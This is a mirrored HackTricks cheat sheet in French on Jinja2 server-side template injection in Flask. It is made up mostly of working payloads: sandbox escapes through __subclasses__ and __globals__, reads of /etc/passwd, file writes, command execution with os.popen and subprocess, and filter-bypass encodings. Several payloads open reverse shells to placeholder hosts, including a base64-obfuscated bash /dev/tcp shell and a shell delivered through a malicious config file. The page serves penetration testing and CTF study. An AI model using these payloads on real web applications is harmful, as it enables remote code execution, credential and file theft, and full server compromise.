mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
330 lines
13 KiB
Markdown
330 lines
13 KiB
Markdown
# Jinja2 SSTI
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
|
|
## **Laboratoire**
|
|
```python
|
|
from flask import Flask, request, render_template_string
|
|
|
|
app = Flask(__name__)
|
|
|
|
@app.route("/")
|
|
def home():
|
|
if request.args.get('c'):
|
|
return render_template_string(request.args.get('c'))
|
|
else:
|
|
return "Hello, send someting inside the param 'c'!"
|
|
|
|
if __name__ == "__main__":
|
|
app.run()
|
|
```
|
|
## **Divers**
|
|
|
|
### **Instruction de Débogage**
|
|
|
|
Si l'extension de débogage est activée, une balise `debug` sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur.
|
|
```python
|
|
<pre>
|
|
|
|
{% raw %}
|
|
{% debug %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</pre>
|
|
```
|
|
### **Dump toutes les variables de configuration**
|
|
```python
|
|
{{ config }} #In these object you can find all the configured env variables
|
|
|
|
|
|
{% raw %}
|
|
{% for key, value in config.items() %}
|
|
<dt>{{ key|e }}</dt>
|
|
<dd>{{ value|e }}</dd>
|
|
{% endfor %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
## **Injection Jinja**
|
|
|
|
Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de sortir du bac à sable** et de récupérer l'accès au flux d'exécution python régulier. Pour ce faire, vous devez **abuser des objets** qui proviennent de l'environnement **non-sandboxé mais qui sont accessibles depuis le bac à sable**.
|
|
|
|
### Accéder aux Objets Globaux
|
|
|
|
Par exemple, dans le code `render_template("hello.html", username=username, email=email)`, les objets username et email **proviennent de l'environnement python non-sandboxé** et seront **accessibles** à l'intérieur de l'**environnement sandboxé.**\
|
|
De plus, il existe d'autres objets qui seront **toujours accessibles depuis l'environnement sandboxé**, ceux-ci sont :
|
|
```
|
|
[]
|
|
''
|
|
()
|
|
dict
|
|
config
|
|
request
|
|
```
|
|
### Récupérer \<class 'object'>
|
|
|
|
Ensuite, à partir de ces objets, nous devons accéder à la classe : **`<class 'object'>`** afin d'essayer de **récupérer** les **classes** définies. Cela est nécessaire car à partir de cet objet, nous pouvons appeler la méthode **`__subclasses__`** et **accéder à toutes les classes de l'environnement python non sandboxé**.
|
|
|
|
Pour accéder à cette **classe d'objet**, vous devez **accéder à un objet de classe** et ensuite accéder soit à **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. Et ensuite, **après** avoir atteint cette **classe d'objet**, nous **appelons** **`__subclasses__()`**.
|
|
|
|
Vérifiez ces exemples :
|
|
```python
|
|
# To access a class object
|
|
[].__class__
|
|
''.__class__
|
|
()["__class__"] # You can also access attributes like this
|
|
request["__class__"]
|
|
config.__class__
|
|
dict #It's already a class
|
|
|
|
# From a class to access the class "object".
|
|
## "dict" used as example from the previous list:
|
|
dict.__base__
|
|
dict["__base__"]
|
|
dict.mro()[-1]
|
|
dict.__mro__[-1]
|
|
(dict|attr("__mro__"))[-1]
|
|
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
|
|
|
|
# From the "object" class call __subclasses__()
|
|
{{ dict.__base__.__subclasses__() }}
|
|
{{ dict.mro()[-1].__subclasses__() }}
|
|
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
|
|
|
|
{% raw %}
|
|
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
|
|
# Other examples using these ways
|
|
{{ ().__class__.__base__.__subclasses__() }}
|
|
{{ [].__class__.__mro__[-1].__subclasses__() }}
|
|
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
|
|
{{ request.__class__.mro()[-1].__subclasses__() }}
|
|
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# Not sure if this will work, but I saw it somewhere
|
|
{{ [].class.base.subclasses() }}
|
|
{{ ''.class.mro()[1].subclasses() }}
|
|
```
|
|
### RCE Escaping
|
|
|
|
**Ayant récupéré** `<class 'object'>` et appelé `__subclasses__`, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code.
|
|
|
|
L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des centaines de nouvelles fonctions**, nous serons contents simplement en accédant à la **classe de fichier** pour **lire/écrire des fichiers** ou à toute classe ayant accès à une classe qui **permet d'exécuter des commandes** (comme `os`).
|
|
|
|
**Lire/Écrire un fichier distant**
|
|
```python
|
|
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
|
```
|
|
**RCE**
|
|
```python
|
|
# The class 396 is the class <class 'subprocess.Popen'>
|
|
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
|
|
|
# Without '{{' and '}}'
|
|
|
|
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
|
|
|
|
# Calling os.popen without guessing the index of the class
|
|
{% raw %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
|
|
|
## Passing the cmd line in a GET param
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
|
{% endraw %}
|
|
|
|
|
|
## Passing the cmd line ?cmd=id, Without " and '
|
|
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
|
|
|
```
|
|
Pour en savoir plus sur **d'autres classes** que vous pouvez utiliser pour **échapper**, vous pouvez **vérifier** :
|
|
|
|
{{#ref}}
|
|
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
|
{{#endref}}
|
|
|
|
### Contournements de filtre
|
|
|
|
#### Contournements courants
|
|
|
|
Ces contournements nous permettront d'**accéder** aux **attributs** des objets **sans utiliser certains caractères**.\
|
|
Nous avons déjà vu certains de ces contournements dans les exemples précédents, mais résumons-les ici :
|
|
```bash
|
|
# Without quotes, _, [, ]
|
|
## Basic ones
|
|
request.__class__
|
|
request["__class__"]
|
|
request['\x5f\x5fclass\x5f\x5f']
|
|
request|attr("__class__")
|
|
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
|
|
|
|
## Using request object options
|
|
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
|
|
request|attr(request.args.c) #Send a param like "?c=__class__
|
|
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
|
|
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
|
|
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
|
|
|
|
## Lists without "[" and "]"
|
|
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
|
|
|
|
# Using with
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
- [**Retournez ici pour plus d'options d'accès à un objet global**](jinja2-ssti.md#accessing-global-objects)
|
|
- [**Retournez ici pour plus d'options d'accès à la classe d'objet**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
|
- [**Lisez ceci pour obtenir RCE sans la classe d'objet**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
|
|
|
**Éviter l'encodage HTML**
|
|
|
|
Par défaut, Flask encode en HTML tout le contenu à l'intérieur d'un modèle pour des raisons de sécurité :
|
|
```python
|
|
{{'<script>alert(1);</script>'}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**Le filtre `safe`** nous permet d'injecter du JavaScript et du HTML dans la page **sans** qu'il soit **encodé en HTML**, comme ceci :
|
|
```python
|
|
{{'<script>alert(1);</script>'|safe}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**RCE en écrivant un fichier de configuration malveillant.**
|
|
```python
|
|
# evil config
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
|
|
|
# load the evil config
|
|
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
|
|
|
|
# connect to evil host
|
|
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
|
```
|
|
## Sans plusieurs caractères
|
|
|
|
Sans **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|
```python
|
|
{% raw %}
|
|
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
## Injection Jinja sans **\<class 'object'>**
|
|
|
|
Depuis les [**objets globaux**](jinja2-ssti.md#accessing-global-objects), il existe une autre façon d'accéder à **RCE sans utiliser cette classe.**\
|
|
Si vous parvenez à accéder à une **fonction** de ces objets globaux, vous pourrez accéder à **`__globals__.__builtins__`** et à partir de là, le **RCE** est très **simple**.
|
|
|
|
Vous pouvez **trouver des fonctions** parmi les objets **`request`**, **`config`** et tout autre **objet global** intéressant auquel vous avez accès avec :
|
|
```bash
|
|
{{ request.__class__.__dict__ }}
|
|
- application
|
|
- _load_form_data
|
|
- on_json_loading_failed
|
|
|
|
{{ config.__class__.__dict__ }}
|
|
- __init__
|
|
- from_envvar
|
|
- from_pyfile
|
|
- from_object
|
|
- from_file
|
|
- from_json
|
|
- from_mapping
|
|
- get_namespace
|
|
- __repr__
|
|
|
|
# You can iterate through children objects to find more
|
|
```
|
|
Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les builtins avec :
|
|
```python
|
|
# Read file
|
|
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
|
|
|
# RCE
|
|
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
|
|
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
## Extra
|
|
## The global from config have a access to a function called import_string
|
|
## with this function you don't need to access the builtins
|
|
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
|
|
|
|
# All the bypasses seen in the previous sections are also valid
|
|
```
|
|
### Fuzzing WAF bypass
|
|
|
|
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) est un outil spécialisé dans les CTF, mais peut également être utile pour bruteforcer des paramètres invalides dans un scénario réel. L'outil envoie simplement des mots et des requêtes pour détecter des filtres, à la recherche de contournements, et fournit également une console interactive.
|
|
```
|
|
webui:
|
|
As the name suggests, web UI
|
|
Default port 11451
|
|
|
|
scan: scan the entire website
|
|
Extract all forms from the website based on the form element and attack them
|
|
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
|
|
Example:python -m fenjing scan --url 'http://xxx/'
|
|
|
|
crack: Attack a specific form
|
|
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
|
|
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
|
|
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
|
|
|
|
crack-path: attack a specific path
|
|
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
|
|
The parameters are roughly the same as crack, but you only need to provide the corresponding path
|
|
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
|
|
|
|
crack-request: Read a request file for attack
|
|
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
|
|
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
|
|
```
|
|
## Références
|
|
|
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
|
- Vérifiez [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3).
|
|
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
|
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|